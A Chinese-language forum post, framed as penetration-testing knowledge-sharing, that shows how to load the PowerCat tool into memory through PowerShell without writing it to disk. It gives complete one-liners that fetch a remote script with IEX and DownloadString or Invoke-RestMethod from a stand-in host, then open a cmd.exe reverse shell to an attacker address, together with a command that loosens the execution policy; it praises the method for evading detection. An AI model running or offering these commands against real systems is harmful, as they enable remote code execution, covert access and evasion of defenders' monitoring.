Powercat 无文件落地执行本领,你确定不进来看看?

张裕  金牌会员 | 2024-12-25 21:46:43 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题

主题 564|帖子 564|积分 1692

声明:本文主要用作技术分享,所有内容仅供参考。任何使用或依靠于本文信息所造成的法律后果均与本人无关。请读者自行判定风险,并遵循相关法律法规。

目录

无文件落地执行(fileless execution)是一种技术,用于制止在磁盘上留下文件痕迹,使得恶意行为更难被检测到。PowerCat 是一个基于 PowerShell 的渗透测试工具,可以使用 PowerShell 的特性实现无文件落地执行。

  • 预备 PowerCat 脚本:将 PowerCat 的脚本托管在一个可以访问的远程服务器上,比如 GitHub Gist、Pastebin 或自建的 HTTP 服务器。
  • 使用 PowerShell 命令直接从远程服务器下载并执行脚本

    • 使用 IEX(Invoke-Expression)和 Invoke-WebRequest 或 Invoke-RestMethod 组合可以直接在内存中加载和执行脚本。
    • 以下是一个示例命令,通过 PowerShell 从远程服务器下载并执行 PowerCat:

  1. IEX (New-Object Net.WebClient).DownloadString('https://example.com/path/to/powercat.ps1')
复制代码
或者使用 Invoke-RestMethod:
  1. IEX (Invoke-RestMethod -Uri 'https://example.com/path/to/powercat.ps1')
复制代码

  • 执行 PowerCat 命令:在内存中加载 PowerCat 后,直接使用 PowerCat 提供的功能进行渗透测试。例如,使用 PowerCat 建立反向 shell:
  1. powercat -c target_ip -p target_port -e cmd.exe
复制代码
完整示例

假设 PowerCat 脚本托管在 https://example.com/path/to/powercat.ps1:
  1. IEX (New-Object Net.WebClient).DownloadString('https://example.com/path/to/powercat.ps1'); powercat -c target_ip -p target_port -e cmd.exe
复制代码
此命令会在内存中下载并执行 PowerCat 脚本,并立即通过 PowerCat 建立反向 shell 连接。
注意事项


  • 安全性:确保托管脚本的远程服务器是安全的,防止脚本被窜改。
  • 权限:PowerShell 执行战略可能会限定脚本执行。需要以管理员权限运行 PowerShell 或调整执行战略:
  1. Set-ExecutionPolicy Unrestricted -Scope Process
复制代码

  • 检测和防御:尽管无文件落地执行可以低落被检测的可能性,但仍有其他检测和防御本领,例如基于行为的检测,因此在实际渗透测试中要综合思量多种本领。
通过这些步骤,你可以实现 PowerCat 的无文件落地执行,直接在内存中下载并执行 PowerCat 脚本。
演示

远端机开启web服务,用于被控端下载powercat 脚本

攻击机开启监听

执行命令

攻击端成功吸收

查察被控端执行目录文件列表,不存在powercat.ps1 文件,说明文件未落地执行,直接在内存中执行。

当然除了使用 IEX 进行无文件落地,还可以使用的方法有 4 种。
欢迎关注 公众号 “D1TASec” 查察文章。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

正序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

张裕

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表